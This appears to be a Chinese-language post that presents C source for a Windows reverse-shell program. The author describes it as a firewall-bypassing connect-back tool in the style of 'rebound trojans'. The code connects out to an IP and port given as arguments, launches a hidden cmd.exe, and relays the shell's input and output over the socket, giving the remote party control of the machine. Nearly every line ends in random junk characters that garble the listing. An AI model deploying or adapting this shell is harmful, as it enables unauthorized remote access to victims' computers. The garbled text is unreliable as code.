这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 P5XUzLV
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/* ============================== ak}ke
Rebound port in Windows NT F+zHgE
By wind,2006/7 R,!aX"]|
===============================*/ _B4N2t$
#include L eUp!
#include q2Gm8>F1y.
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#pragma comment(lib,"wsock32.lib") =v !8i
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void OutputShell(); 4tiCxf)
SOCKET sClient; l0!`>Xx[b
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; !9C]Fs*`?
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void main(int argc,char **argv) ayf;'1
{ w&^Dbme
WSADATA stWsaData; r_^]5C\
int nRet; QSYKYgxC
SOCKADDR_IN stSaiClient,stSaiServer; @MH/efW.
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if(argc != 3) ac43d`wpK
{ 8(6mH'^y
printf("Useage:\n\rRebound DestIP DestPort\n"); n?^X/R.22
return; vO;:~
} "8[Vb#=*e
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WSAStartup(MAKEWORD(2,2),&stWsaData); K]U8y$^
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ,-1taS
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stSaiClient.sin_family = AF_INET; ]waCYrG<sY
stSaiClient.sin_port = htons(0); <ot%>\C
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); :; 3y^!
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) t-hN4WKH_A
{ !\Q/~p'jS
printf("Bind Socket Failed!\n"); Y,%G5X@S<
return; #0M,g
} XR)I,@i`'
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stSaiServer.sin_family = AF_INET; H? pWyc<,
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); N;av
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); `yb,z
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) %X\rP,
{ f,0oCBLPO
printf("Connect Error!"); sv>c)L}I
return; 03y5$kQ
} %lK]m`(
OutputShell();
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} FU(s jB
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void OutputShell() ZsDn`8
{ w W;!L=j
char szBuff[1024]; 7G8M+i3q/
SECURITY_ATTRIBUTES stSecurityAttributes; z9*7fT
OSVERSIONINFO stOsversionInfo; JMYM}G
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; cM+s)4TPL
STARTUPINFO stStartupInfo; d,).O
char *szShell; T EqCoeR
PROCESS_INFORMATION stProcessInformation; aSNTm8SYX
unsigned long lBytesRead; |(1z ?Spbe
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); Y]1b39O
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); uJHf6Ye
stSecurityAttributes.lpSecurityDescriptor = 0; YR/rN,
stSecurityAttributes.bInheritHandle = TRUE; n&uD=-
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}3mIj<I1;
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); ]2B=@V t,
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); E2{SKIUm
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); &mp@;wI6@
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 1=%\4\
stStartupInfo.wShowWindow = SW_HIDE; mH} 1Zy
stStartupInfo.hStdInput = hReadPipe; VFwp .1oa!
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; 6tmn1:
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GetVersionEx(&stOsversionInfo); I_@XHhyVZ
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switch(stOsversionInfo.dwPlatformId) wp8ocZ-Gj
{ hGvuA9d~
case 1: }M9L,O*^
szShell = "command.com"; {e8.E<f-
break; +3D3[.n
default: s4c2
szShell = "cmd.exe"; _[.3I1kG
break; [Y]\sF;J
} y"SVZ} ;|
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); sIh,@b
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send(sClient,szMsg,77,0); %t^-Guz
while(1) $u./%JS
{ ]\<^rEU
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); ?-0>Wbg
if(lBytesRead) @dCoh-Q3
{ @'EU\Y\l
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); n +z5;'my
send(sClient,szBuff,lBytesRead,0); vrD]o1F
} $fA%_T_P'P
else bO%bMZWB!y
{ Rc H",*U
lBytesRead=recv(sClient,szBuff,1024,0); N&t+*kF_
if(lBytesRead<=0) break; A/EW57v"
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); %g4G&My@J
} >;.'$-
} (r?41?5K
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return; ^H1B62_
}